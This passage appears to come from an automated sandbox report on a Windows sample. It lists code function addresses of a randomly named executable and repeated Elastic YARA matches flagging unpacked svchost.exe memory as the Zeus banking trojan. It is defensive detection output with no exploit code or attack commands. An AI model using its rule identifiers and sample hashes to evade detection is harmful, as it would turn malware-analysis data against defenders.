Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_01561F6010_2_01561F60
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0155379010_2_01553790
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0153BF8010_2_0153BF80
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0155D7B010_2_0155D7B0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0152765010_2_01527650
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0155BE5010_2_0155BE50
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0155A66010_2_0155A660
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0155DE8010_2_0155DE80
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0150099D10_2_0150099D
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014EE98010_2_014EE980
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014FA19010_2_014FA190
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014F934010_2_014F9340
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0150336010_2_01503360
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014DD38010_2_014DD380
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014F4B9010_2_014F4B90
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014FEBB010_2_014FEBB0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014C8A5010_2_014C8A50
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014FD25010_2_014FD250
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014FBA6010_2_014FBA60
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014FF28010_2_014FF280
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014C8DA010_2_014C8DA0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014FE4E010_2_014FE4E0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014F54F010_2_014F54F0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014E7F6010_2_014E7F60
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014C8FC010_2_014C8FC0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_01506FE310_2_01506FE3
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014C3FB010_2_014C3FB0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014FAE0010_2_014FAE00
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014FC6C010_2_014FC6C0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014F56D010_2_014F56D0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014F36F010_2_014F36F0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 704
Source: Bpfz752pYZ.exeBinary or memory string: OriginalFilenamejavacpl.exeX vs Bpfz752pYZ.exe
Source: Bpfz752pYZ.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: 2.3.svchost.exe.2d30000.45.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.ed00000.12.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.62.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 25.2.NcYLgtXIKJgHj.exe.2f50000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.70.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.Bpfz752pYZ.exe.6f8dc8.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.43.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.35.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.51.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 25.2.NcYLgtXIKJgHj.exe.2b92000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.26.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.32.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.26.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.10.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 22.2.NcYLgtXIKJgHj.exe.5e2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.37.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.73.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.19.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.38.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.72.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.28.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.13.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.ed00000.12.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 25.2.NcYLgtXIKJgHj.exe.2b92000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.8.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.Bpfz752pYZ.exe.6f81c8.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.34.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.10.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.54.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.40.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
